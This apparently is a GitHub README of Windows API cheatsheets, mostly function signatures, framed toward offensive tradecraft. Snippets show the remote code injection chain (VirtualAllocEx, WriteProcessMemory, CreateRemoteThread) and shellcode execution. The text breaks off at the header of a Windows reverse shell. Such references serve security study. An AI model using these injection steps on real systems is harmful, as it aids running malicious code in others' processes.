├── .github └── FUNDING.yml ├── API CheatSheets.gif ├── README.md └── socket-cheatsheet.txt /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | # These are supported funding model platforms 2 | 3 | github: [snowcra5h] 4 | -------------------------------------------------------------------------------- /API CheatSheets.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/7etsuo/windows-api-function-cheatsheets/80d74c662b69db8fa624780dd6ec1151812c9fe5/API CheatSheets.gif -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |
2 | 3 | ![API CheatSheets](https://github.com/user-attachments/assets/628ab88c-0ddc-408d-a91e-e012c7f78a51) 4 | 5 |
6 | 7 |
8 | 9 | # Windows API Function Cheatsheets 10 |

Contact

11 | 12 | 🌨️ Tetsuo: https://www.x.com/tetsuo 13 |
14 | 15 | ## Table of Contents 16 | 17 | - [Windows API Function Cheatsheets](#windows-api-function-cheatsheets) 18 | - [File Operations](#file-operations) 19 | - [Process Management](#process-management) 20 | - [Memory Management](#memory-management) 21 | - [Thread Management](#thread-management) 22 | - [Dynamic-Link Library (DLL) Management](#dynamic-link-library-dll-management) 23 | - [Synchronization](#synchronization) 24 | - [Interprocess Communication](#interprocess-communication) 25 | - [Windows Hooks](#windows-hooks) 26 | - [Cryptography](#cryptography) 27 | - [Debugging](#debugging) 28 | - [Winsock](#winsock) 29 | - [Registry Operations](#registry-operations) 30 | - [Error Handling](#error-handling) 31 | - [Resource Management](#resource-management) 32 | - [Unicode String Functions](#unicode-string-functions) 33 | - [String Length](#string-length) 34 | - [String Copy](#string-copy) 35 | - [String Concatenation](#string-concatenation) 36 | - [String Comparison](#string-comparison) 37 | - [String Search](#string-search) 38 | - [Character Classification and Conversion](#character-classification-and-conversion) 39 | - [Win32 Structs Cheat Sheet](#win32-structs-cheat-sheet) 40 | - [Common Structs](#common-structs) 41 | - [Win32 Sockets Structs Cheat Sheet (winsock.h)](#win32-sockets-structs-cheat-sheet-winsockh) 42 | - [Win32 Sockets Structs Cheat Sheet (winsock2.h)](#win32-sockets-structs-cheat-sheet-winsock2h) 43 | - [Win32 Sockets Structs Cheat Sheet (ws2def.h)](#win32-sockets-structs-cheat-sheet-ws2defh) 44 | - [Code Injection Techniques](#code-injection-techniques) 45 | - [1. DLL Injection](#1-dll-injection) 46 | - [2. PE Injection](#2-pe-injection) 47 | - [3. Reflective Injection](#3-reflective-injection) 48 | - [4. APC Injection](#4-apc-injection) 49 | - [5. Process Hollowing (Process Replacement)](#5-process-hollowing-process-replacement) 50 | - [6. AtomBombing](#6-atombombing) 51 | - [7. Process Doppelgänging](#7-process-doppelgänging) 52 | - [8. Process Herpaderping](#8-process-herpaderping) 53 | - [9. Hooking Injection](#9-hooking-injection) 54 | - [10. Extra Windows Memory Injection](#10-extra-windows-memory-injection) 55 | - [11. Propagate Injection](#11-propagate-injection) 56 | - [12. Heap Spray](#12-heap-spray) 57 | - [13. Thread Execution Hijacking](#13-thread-execution-hijacking) 58 | - [14. Module Stomping](#14-module-stomping) 59 | - [15. IAT Hooking](#15-iat-hooking) 60 | - [16. Inline Hooking](#16-inline-hooking) 61 | - [17. Debugger Injection](#17-debugger-injection) 62 | - [18. COM Hijacking](#18-com-hijacking) 63 | - [19. Phantom DLL Hollowing](#19-phantom-dll-hollowing) 64 | - [20. PROPagate](#20-propagate) 65 | - [21. Early Bird Injection](#21-early-bird-injection) 66 | - [22. Shim-based Injection](#22-shim-based-injection) 67 | - [23. Mapping Injection](#23-mapping-injection) 68 | - [24. KnownDlls Cache Poisoning](#24-knowndlls-cache-poisoning) 69 | - [Process Enumeration](#process-enumeration) 70 | 71 | ## Windows API Function Calls 72 | ### File Operations 73 | [CreateFile](https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilea) 74 | ```c 75 | HANDLE CreateFile( 76 | LPCTSTR lpFileName, 77 | DWORD dwDesiredAccess, 78 | DWORD dwShareMode, 79 | LPSECURITY_ATTRIBUTES lpSecurityAttributes, 80 | DWORD dwCreationDisposition, 81 | DWORD dwFlagsAndAttributes, 82 | HANDLE hTemplateFile 83 | ); // Opens an existing file or creates a new file. 84 | ``` 85 | [ReadFile](https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-readfile) 86 | ```c 87 | BOOL ReadFile( 88 | HANDLE hFile, 89 | LPVOID lpBuffer, 90 | DWORD nNumberOfBytesToRead, 91 | LPDWORD lpNumberOfBytesRead, 92 | LPOVERLAPPED lpOverlapped 93 | ); // Reads data from the specified file. 94 | ``` 95 | [WriteFile](https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-writefile) 96 | ```c 97 | BOOL WriteFile( 98 | HANDLE hFile, 99 | LPCVOID lpBuffer, 100 | DWORD nNumberOfBytesToWrite, 101 | LPDWORD lpNumberOfBytesWritten, 102 | LPOVERLAPPED lpOverlapped 103 | ); // Writes data to the specified file. 104 | ``` 105 | [CloseHandle](https://docs.microsoft.com/en-us/windows/win32/api/handleapi/nf-handleapi-closehandle) 106 | ```c 107 | BOOL CloseHandle( 108 | HANDLE hObject 109 | ); // Closes an open handle. 110 | ``` 111 | 112 | ### Process Management 113 | [OpenProcess](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess) 114 | ```c 115 | HANDLE OpenProcess( 116 | [in] DWORD dwDesiredAccess, 117 | [in] BOOL bInheritHandle, 118 | [in] DWORD dwProcessId 119 | ); // Opens an existing local process object. e.g., try to open target process 120 | ``` 121 | ```c 122 | hProc = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, (DWORD) pid); 123 | ``` 124 | [CreateProcess](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa) 125 | ```c 126 | HANDLE CreateProcess( 127 | LPCTSTR lpApplicationName, 128 | LPTSTR lpCommandLine, 129 | LPSECURITY_ATTRIBUTES lpProcessAttributes, 130 | LPSECURITY_ATTRIBUTES lpThreadAttributes, 131 | BOOL bInheritHandles, 132 | DWORD dwCreationFlags, 133 | LPVOID lpEnvironment, 134 | LPCTSTR lpCurrentDirectory, 135 | LPSTARTUPINFO lpStartupInfo, 136 | LPPROCESS_INFORMATION lpProcessInformation 137 | ); // The CreateProcess function creates a new process that runs independently of the creating process. For simplicity, this relationship is called a parent-child relationship. 138 | ``` 139 | ```c 140 | // Start the child process 141 | // No module name (use command line), Command line, Process handle not inheritable, Thread handle not inheritable, Set handle inheritance to FALSE, No creation flags, Use parent's environment block, Use parent's starting directory, Pointer to STARTUPINFO structure, Pointer to PROCESS_INFORMATION structure 142 | CreateProcess( NULL, argv[1], NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi); 143 | ``` 144 | [WinExec](https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-winexec) 145 | ```c 146 | UINT WinExec( 147 | [in] LPCSTR lpCmdLine, 148 | [in] UINT uCmdShow 149 | ); // Runs the specified application. 150 | ``` 151 | ```c 152 | result = WinExec(L"C:\\Windows\\System32\\cmd.exe", SW_SHOWNORMAL); 153 | ``` 154 | [TerminateProcess](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-terminateprocess) 155 | ```c 156 | BOOL TerminateProcess( 157 | HANDLE hProcess, 158 | UINT uExitCode 159 | ); // Terminates the specified process. 160 | ``` 161 | [ExitWindowsEx](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-exitwindowsex) 162 | ```c 163 | BOOL ExitWindowsEx( 164 | [in] UINT uFlags, 165 | [in] DWORD dwReason 166 | ); // Logs off the interactive user, shuts down the system, or shuts down and restarts the system. 167 | ``` 168 | ```c 169 | bResult = ExitWindowsEx(EWX_REBOOT, SHTDN_REASON_MAJOR_APPLICATION); 170 | ``` 171 | [CreateToolhelp32Snapshot](https://learn.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-createtoolhelp32snapshot) 172 | ```c 173 | HANDLE CreateToolhelp32Snapshot( 174 | [in] DWORD dwFlags, 175 | [in] DWORD th32ProcessID 176 | ); // used to obtain information about processes and threads running on a Windows system. 177 | ``` 178 | [Process32First](https://learn.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-process32first) 179 | ```c 180 | BOOL Process32First( 181 | [in] HANDLE hSnapshot, 182 | [in, out] LPPROCESSENTRY32 lppe 183 | ); // used to retrieve information about the first process encountered in a system snapshot, which is typically taken using the CreateToolhelp32Snapshot function. 184 | ``` 185 | [Process32Next](https://learn.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-process32next) 186 | ```c 187 | BOOL Process32Next( 188 | [in] HANDLE hSnapshot, 189 | [out] LPPROCESSENTRY32 lppe 190 | ); // used to retrieve information about the next process in a system snapshot after Process32First has been called. This function is typically used in a loop to enumerate all processes captured in a snapshot taken using the CreateToolhelp32Snapshot function. 191 | ``` 192 | [WriteProcessMemory](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory) 193 | ```c 194 | BOOL WriteProcessMemory( 195 | [in] HANDLE hProcess, 196 | [in] LPVOID lpBaseAddress, 197 | [in] LPCVOID lpBuffer, 198 | [in] SIZE_T nSize, 199 | [out] SIZE_T *lpNumberOfBytesWritten 200 | ); // Writes data to an area of memory in a specified process. The entire area to be written to must be accessible or the operation fails. 201 | ``` 202 | ```c 203 | WriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL); // pRemoteCode from VirtualAllocEx 204 | ``` 205 | [ReadProcessMemory](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-readprocessmemory) 206 | ```c 207 | BOOL ReadProcessMemory( 208 | [in] HANDLE hProcess, 209 | [in] LPCVOID lpBaseAddress, 210 | [out] LPVOID lpBuffer, 211 | [in] SIZE_T nSize, 212 | [out] SIZE_T *lpNumberOfBytesRead 213 | ); // ReadProcessMemory copies the data in the specified address range from the address space of the specified process into the specified buffer of the current process. 214 | ``` 215 | ```c 216 | bResult = ReadProcessMemory(pHandle, (void*)baseAddress, &address, sizeof(address), 0); 217 | ``` 218 | 219 | ### Memory Management 220 | [VirtualAlloc](https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc) 221 | ```c 222 | LPVOID VirtualAlloc( 223 | LPVOID lpAddress, 224 | SIZE_T dwSize, // Shellcode must be between 0x1 and 0x10000 bytes (page size) 225 | DWORD flAllocationType, // #define MEM_COMMIT 0x00001000 226 | DWORD flProtect // #define PAGE_EXECUTE_READWRITE 0x00000040 227 | ); // Reserves, commits, or changes the state of a region of memory within the virtual address space of the calling process. 228 | ``` 229 | [VirtualAllocEx](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex) 230 | ```c 231 | LPVOID VirtualAllocEx( 232 | [in] HANDLE hProcess, 233 | [in, optional] LPVOID lpAddress, 234 | [in] SIZE_T dwSize, 235 | [in] DWORD flAllocationType, 236 | [in] DWORD flProtect 237 | ); // Reserves, commits, or changes the state of a region of memory within the virtual address space of a specified process. The function initializes the memory it allocates to zero. 238 | ``` 239 | ```c 240 | pRemoteCode = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ); 241 | ``` 242 | [VirtualFree](https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualfree) 243 | ```c 244 | BOOL VirtualFree( 245 | LPVOID lpAddress, 246 | SIZE_T dwSize, 247 | DWORD dwFreeType 248 | ); // Releases, decommits, or releases and decommits a region of memory within the virtual address space of the calling process. 249 | ``` 250 | [VirtualProtect function (memoryapi.h)](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect) 251 | ```c 252 | BOOL VirtualProtect( 253 | LPVOID lpAddress, 254 | SIZE_T dwSize, 255 | DWORD flNewProtect, 256 | PDWORD lpflOldProtect 257 | ); // Changes the protection on a region of committed pages in the virtual address space of the calling process. 258 | ``` 259 | [RtlMoveMemory](https://learn.microsoft.com/en-us/windows/win32/devnotes/rtlmovememory) 260 | ```c 261 | VOID RtlMoveMemory( 262 | _Out_ VOID UNALIGNED *Destination, 263 | _In_ const VOID UNALIGNED *Source, 264 | _In_ SIZE_T Length 265 | ); // Copies the contents of a source memory block to a destination memory block, and supports overlapping source and destination memory blocks. 266 | ``` 267 | 268 | ### Thread Management 269 | [CreateThread](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createthread) 270 | ```c 271 | HANDLE CreateThread( 272 | [in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes, // A pointer to a SECURITY_ATTRIBUTES structure that specifies a security descriptor for the new thread and determines whether child processes can inherit the returned handle. 273 | [in] SIZE_T dwStackSize, // The initial size of the stack, in bytes. 274 | [in] LPTHREAD_START_ROUTINE lpStartAddress, // A pointer to the application-defined function of type LPTHREAD_START_ROUTINE 275 | [in, optional] __drv_aliasesMem LPVOID lpParameter, // A pointer to a variable to be passed to the thread function. 276 | [in] DWORD dwCreationFlags, // The flags that control the creation of the thread. 277 | [out, optional] LPDWORD lpThreadId // A pointer to a variable that receives the thread identifier. If this parameter is NULL, the thread identifier is not returned. 278 | ); // Creates a thread to execute within the virtual address space of the calling process. 279 | ``` 280 | ```c 281 | th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0); WaitForSingleObject(th, 0); 282 | ``` 283 | [CreateRemoteThread](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread) 284 | ```c 285 | HANDLE CreateRemoteThread( 286 | [in] HANDLE hProcess, 287 | [in] LPSECURITY_ATTRIBUTES lpThreadAttributes, 288 | [in] SIZE_T dwStackSize, 289 | [in] LPTHREAD_START_ROUTINE lpStartAddress, 290 | [in] LPVOID lpParameter, 291 | [in] DWORD dwCreationFlags, 292 | [out] LPDWORD lpThreadId 293 | ); // Creates a thread that runs in the virtual address space of another process. 294 | ``` 295 | ```c 296 | hThread = CreateRemoteThread(hProc, NULL, 0, pRemoteCode, NULL, 0, NULL); // pRemoteCode from VirtualAllocEx filled by WriteProcessMemory 297 | ``` 298 | [CreateRemoteThreadEx](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethreadex) 299 | ```c 300 | HANDLE CreateRemoteThreadEx( 301 | [in] HANDLE hProcess, 302 | [in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes, 303 | [in] SIZE_T dwStackSize, 304 | [in] LPTHREAD_START_ROUTINE lpStartAddress, 305 | [in, optional] LPVOID lpParameter, 306 | [in] DWORD dwCreationFlags, 307 | [in, optional] LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList, 308 | [out, optional] LPDWORD lpThreadId 309 | ); // Creates a thread that runs in the virtual address space of another process and optionally specifies extended attributes such as processor group affinity. 310 | // See InitializeProcThreadAttributeList 311 | ``` 312 | ```c 313 | hThread = CreateRemoteThread(hProc, NULL, 0, pRemoteCode, NULL, 0, lpAttributeList, NULL); // pRemoteCode from VirtualAllocEx filled by WriteProcessMemory 314 | ``` 315 | [ExitThread](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-exitthread) 316 | ```c 317 | VOID ExitThread( 318 | DWORD dwExitCode 319 | ); // Terminates the calling thread and returns the exit code to the operating system. 320 | ``` 321 | [GetExitCodeThread](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-getexitcodethread) 322 | ```c 323 | BOOL GetExitCodeThread( 324 | HANDLE hThread, 325 | LPDWORD lpExitCode 326 | ); // Retrieves the termination status of the specified thread. 327 | ``` 328 | [ResumeThread](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-resumethread) 329 | ```c 330 | DWORD ResumeThread( 331 | HANDLE hThread 332 | ); // Decrements a thread's suspend count. When the suspend count is decremented to zero, the execution of the thread is resumed. 333 | ``` 334 | [SuspendThread](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-suspendthread) 335 | ```c 336 | DWORD SuspendThread( 337 | HANDLE hThread 338 | ); // Suspends the specified thread. 339 | ``` 340 | [TerminateThread](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-terminatethread) 341 | ```c 342 | BOOL TerminateThread( 343 | HANDLE hThread, 344 | DWORD dwExitCode 345 | ); // Terminates the specified thread. 346 | ``` 347 | [CloseHandle](https://docs.microsoft.com/en-us/windows/win32/api/handleapi/nf-handleapi-closehandle) 348 | ```c 349 | BOOL CloseHandle( 350 | HANDLE hObject 351 | ); // Closes an open handle. 352 | ``` 353 | 354 | ### Dynamic-Link Library (DLL) Management 355 | [LoadLibrary](https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya) 356 | ```c 357 | HMODULE LoadLibrary( 358 | LPCTSTR lpFileName 359 | ); // Loads a dynamic-link library (DLL) module into the address space of the calling process. 360 | ``` 361 | [LoadLibraryExA](https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibraryexa) 362 | ```c 363 | HMODULE LoadLibraryExA( 364 | [in] LPCSTR lpLibFileName, 365 | HANDLE hFile, 366 | [in] DWORD dwFlags 367 | ); // Loads the specified module into the address space of the calling process, with additional options. 368 | ``` 369 | ```c 370 | HMODULE hModule = LoadLibraryExA("ws2_32.dll", NULL, LOAD_LIBRARY_SAFE_CURRENT_DIRS); 371 | ``` 372 | [GetProcAddress](https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress) 373 | ```c 374 | FARPROC GetProcAddress( 375 | HMODULE hModule, 376 | LPCSTR lpProcName 377 | ); // Retrieves the address of an exported function or variable from the specified DLL. 378 | ``` 379 | ```c 380 | pLoadLibrary = (PTHREAD_START_ROUTINE) GetProcAddress(GetModuleHandle("Kernel32.dll"), "LoadLibraryA"); 381 | ``` 382 | 383 | [FreeLibrary](https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-freelibrary) 384 | ```c 385 | BOOL FreeLibrary( 386 | HMODULE hModule 387 | ); // Frees the loaded DLL module and, if necessary, decrements its reference count. 388 | ``` 389 | 390 | ### Synchronization 391 | [CreateMutex](https://docs.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-createmutexa) 392 | ```c 393 | HANDLE CreateMutex( 394 | LPSECURITY_ATTRIBUTES lpMutexAttributes, 395 | BOOL bInitialOwner, 396 | LPCTSTR lpName 397 | ); // Creates a named or unnamed mutex object. 398 | ``` 399 | [CreateSemaphore](https://docs.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-createsemaphorea) 400 | ```c 401 | HANDLE CreateSemaphore( 402 | LPSECURITY_ATTRIBUTES lpSemaphoreAttributes, 403 | LONG lInitialCount, 404 | LONG lMaximumCount, 405 | LPCTSTR lpName 406 | ); // Creates a named or unnamed semaphore object. 407 | ``` 408 | [ReleaseMutex](https://docs.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-releasemutex) 409 | ```c 410 | BOOL ReleaseMutex( 411 | HANDLE hMutex 412 | ); // Releases ownership of the specified mutex object. 413 | ``` 414 | [ReleaseSemaphore](https://docs.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-releasesemaphore) 415 | ```c 416 | BOOL ReleaseSemaphore( 417 | HANDLE hSemaphore, 418 | LONG lReleaseCount, 419 | LPLONG lpPreviousCount 420 | ); // Increases the count of the specified semaphore object by a specified amount. 421 | ``` 422 | [WaitForSingleObject](https://learn.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-waitforsingleobject) 423 | ```c 424 | DWORD WaitForSingleObject( 425 | [in] HANDLE hHandle, 426 | [in] DWORD dwMilliseconds 427 | ); // Waits until the specified object is in the signaled state or the time-out interval elapses. 428 | ``` 429 | ```c 430 | WaitForSingleObject(hThread, 500); 431 | ``` 432 | 433 | ### Interprocess Communication 434 | [CreatePipe](https://docs.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-createpipe) 435 | ```c 436 | BOOL CreatePipe( 437 | PHANDLE hReadPipe, 438 | PHANDLE hWritePipe, 439 | LPSECURITY_ATTRIBUTES lpPipeAttributes, 440 | DWORD nSize 441 | ); // Creates an anonymous pipe and returns handles to the read and write ends of the pipe. 442 | ``` 443 | [CreateNamedPipe](https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createnamedpipea) 444 | ```c 445 | HANDLE CreateNamedPipe( 446 | LPCTSTR lpName, 447 | DWORD dwOpenMode, 448 | DWORD dwPipeMode, 449 | DWORD nMaxInstances, 450 | DWORD nOutBufferSize, 451 | DWORD nInBufferSize, 452 | DWORD nDefaultTimeOut, 453 | LPSECURITY_ATTRIBUTES lpSecurityAttributes 454 | ); // Creates a named pipe and returns a handle for subsequent pipe operations. 455 | ``` 456 | [ConnectNamedPipe](https://docs.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-connectnamedpipe) 457 | ```c 458 | BOOL ConnectNamedPipe( 459 | HANDLE hNamedPipe, 460 | LPOVERLAPPED lpOverlapped 461 | ); // Enables a named pipe server process to wait for a client process to connect to an instance of a named pipe. 462 | ``` 463 | [DisconnectNamedPipe](https://docs.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-disconnectnamedpipe) 464 | ```c 465 | BOOL DisconnectNamedPipe( 466 | HANDLE hNamedPipe 467 | ); // Disconnects the server end of a named pipe instance from a client process. 468 | ``` 469 | [CreateFileMapping](https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createfilemappinga) 470 | ```c 471 | HANDLE CreateFileMapping( 472 | HANDLE hFile, 473 | LPSECURITY_ATTRIBUTES lpFileMappingAttributes, 474 | DWORD flProtect, 475 | DWORD dwMaximumSizeHigh, 476 | DWORD dwMaximumSizeLow, 477 | LPCTSTR lpName 478 | ); // Creates or opens a named or unnamed file mapping object for a specified file. 479 | ``` 480 | [MapViewOfFile](https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-mapviewoffile) 481 | ```c 482 | LPVOID MapViewOfFile( 483 | HANDLE hFileMappingObject, 484 | DWORD dwDesiredAccess, 485 | DWORD dwFileOffsetHigh, 486 | DWORD dwFileOffsetLow, 487 | SIZE_T dwNumberOfBytesToMap 488 | ); // Maps a view of a file mapping into the address space of the calling process. 489 | ``` 490 | [UnmapViewOfFile](https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-unmapviewoffile) 491 | ```c 492 | BOOL UnmapViewOfFile( 493 | LPCVOID lpBaseAddress 494 | ); // Unmaps a mapped view of a file from the calling process's address space. 495 | ``` 496 | [CloseHandle](https://docs.microsoft.com/en-us/windows/win32/api/handleapi/nf-handleapi-closehandle) 497 | ```c 498 | BOOL CloseHandle( 499 | HANDLE hObject 500 | ); // Closes an open handle. 501 | ``` 502 | 503 | ### Windows Hooks 504 | [SetWindowsHookExA](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setwindowshookexa) 505 | ```c 506 | HHOOK SetWindowsHookExA( 507 | [in] int idHook, 508 | [in] HOOKPROC lpfn, 509 | [in] HINSTANCE hmod, 510 | [in] DWORD dwThreadId 511 | ); // Installs an application-defined hook procedure into a hook chain. You would install a hook procedure to monitor the system for certain types of events. These events are associated either with a specific thread or with all threads in the same desktop as the calling thread. 512 | ``` 513 | [CallNextHookEx](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-callnexthookex) 514 | ```c 515 | LRESULT CallNextHookEx( 516 | [in, optional] HHOOK hhk, 517 | [in] int nCode, 518 | [in] WPARAM wParam, 519 | [in] LPARAM lParam 520 | ); // Passes the hook information to the next hook procedure in the current hook chain. A hook procedure can call this function either before or after processing the hook information. 521 | ``` 522 | [UnhookWindowsHookEx](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-unhookwindowshookex) 523 | ```c 524 | BOOL UnhookWindowsHookEx( 525 | [in] HHOOK hhk 526 | ); // Removes a hook procedure installed in a hook chain by the SetWindowsHookEx function. 527 | ``` 528 | [GetAsyncKeyState](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getasynckeystate) 529 | ```c 530 | SHORT GetAsyncKeyState( 531 | [in] int vKey 532 | ); // Determines whether a key is up or down at the time the function is called, and whether the key was pressed after a previous call to GetAsyncKeyState. 533 | ``` 534 | [GetKeyState](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getkeystate) 535 | ```c 536 | SHORT GetKeyState( 537 | [in] int nVirtKey 538 | ); // Retrieves the status of the specified virtual key. The status specifies whether the key is up, down, or toggled (on, off—alternating each time the key is pressed). 539 | ``` 540 | [GetKeyboardState](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getkeyboardstate) 541 | ```c 542 | BOOL GetKeyboardState( 543 | [out] PBYTE lpKeyState 544 | ); // Copies the status of the 256 virtual keys to the specified buffer. 545 | ``` 546 | 547 | ### Cryptography 548 | [CryptBinaryToStringA](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptbinarytostringa) 549 | ```c 550 | BOOL CryptBinaryToStringA( 551 | [in] const BYTE *pbBinary, 552 | [in] DWORD cbBinary, 553 | [in] DWORD dwFlags, 554 | [out, optional] LPSTR pszString, 555 | [in, out] DWORD *pcchString 556 | ); // The CryptBinaryToString function converts an array of bytes into a formatted string. 557 | ``` 558 | [CryptDecrypt](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptdecrypt) 559 | ```c 560 | BOOL CryptDecrypt( 561 | [in] HCRYPTKEY hKey, 562 | [in] HCRYPTHASH hHash, 563 | [in] BOOL Final, 564 | [in] DWORD dwFlags, 565 | [in, out] BYTE *pbData, 566 | [in, out] DWORD *pdwDataLen 567 | ); // The CryptDecrypt function decrypts data previously encrypted by using the CryptEncrypt function. 568 | ``` 569 | [CryptEncrypt](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptencrypt) 570 | ```c 571 | BOOL CryptEncrypt( 572 | [in] HCRYPTKEY hKey, 573 | [in] HCRYPTHASH hHash, 574 | [in] BOOL Final, 575 | [in] DWORD dwFlags, 576 | [in, out] BYTE *pbData, 577 | [in, out] DWORD *pdwDataLen, 578 | [in] DWORD dwBufLen 579 | ); // The CryptEncrypt function encrypts data. The algorithm used to encrypt the data is designated by the key held by the CSP module and is referenced by the hKey parameter. 580 | ``` 581 | [CryptDecryptMessage](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptdecryptmessage) 582 | ```c 583 | BOOL CryptDecryptMessage( 584 | [in] PCRYPT_DECRYPT_MESSAGE_PARA pDecryptPara, 585 | [in] const BYTE *pbEncryptedBlob, 586 | [in] DWORD cbEncryptedBlob, 587 | [out, optional] BYTE *pbDecrypted, 588 | [in, out, optional] DWORD *pcbDecrypted, 589 | [out, optional] PCCERT_CONTEXT *ppXchgCert 590 | ); // The CryptDecryptMessage function decodes and decrypts a message. 591 | ``` 592 | [CryptEncryptMessage]() 593 | ```c 594 | BOOL CryptEncryptMessage( 595 | [in] PCRYPT_ENCRYPT_MESSAGE_PARA pEncryptPara, 596 | [in] DWORD cRecipientCert, 597 | [in] PCCERT_CONTEXT [] rgpRecipientCert, 598 | [in] const BYTE *pbToBeEncrypted, 599 | [in] DWORD cbToBeEncrypted, 600 | [out] BYTE *pbEncryptedBlob, 601 | [in, out] DWORD *pcbEncryptedBlob 602 | ); // The CryptEncryptMessage function encrypts and encodes a message. 603 | ``` 604 | 605 | ### Debugging 606 | [IsDebuggerPresent](https://learn.microsoft.com/en-us/windows/win32/api/debugapi/nf-debugapi-isdebuggerpresent) 607 | ```c 608 | BOOL IsDebuggerPresent(); // Determines whether the calling process is being debugged by a user-mode debugger. 609 | ``` 610 | [CheckRemoteDebuggerPresent](https://learn.microsoft.com/en-us/windows/win32/api/debugapi/nf-debugapi-checkremotedebuggerpresent) 611 | ```c 612 | BOOL CheckRemoteDebuggerPresent( 613 | [in] HANDLE hProcess, 614 | [in, out] PBOOL pbDebuggerPresent 615 | ); // Determines whether the specified process is being debugged. 616 | ``` 617 | [OutputDebugStringA](https://learn.microsoft.com/en-us/windows/win32/api/debugapi/nf-debugapi-outputdebugstringa) 618 | ```c 619 | void OutputDebugStringA( 620 | [in, optional] LPCSTR lpOutputString 621 | ); // Sends a string to the debugger for display. 622 | ``` 623 | 624 | ### Winsock 625 | ```c 626 | /*** Windows Reverse Shell 627 | * 628 | * ██████ ███▄ █ ▒█████ █ █░ ▄████▄ ██▀███ ▄▄▄ ██████ ██░ ██ 629 | * ▒██ ▒ ██ ▀█ █ ▒██▒ ██▒▓█░ █ ░█░▒██▀ ▀█ ▓██ ▒ ██▒▒████▄ ▒██ ▒ ▓██░ ██▒ 630 | * ░ ▓██▄ ▓██ ▀█ ██▒▒██░ ██▒▒█░ █ ░█ ▒▓█ ▄ ▓██ ░▄█ ▒▒██ ▀█▄ ░ ▓██▄ ▒██▀▀██░ 631 | * ▒ ██▒▓██▒ ▐▌██▒▒██ ██░░█░ █ ░█ ▒▓▓▄ ▄██▒▒██▀▀█▄ ░██▄▄▄▄██ ▒ ██▒░▓█ ░██ 632 | * ▒██████▒▒▒██░ ▓██░░ ████▓▒░░░██▒██▓ ▒ ▓███▀ ░░██▓ ▒██▒ ▓█ 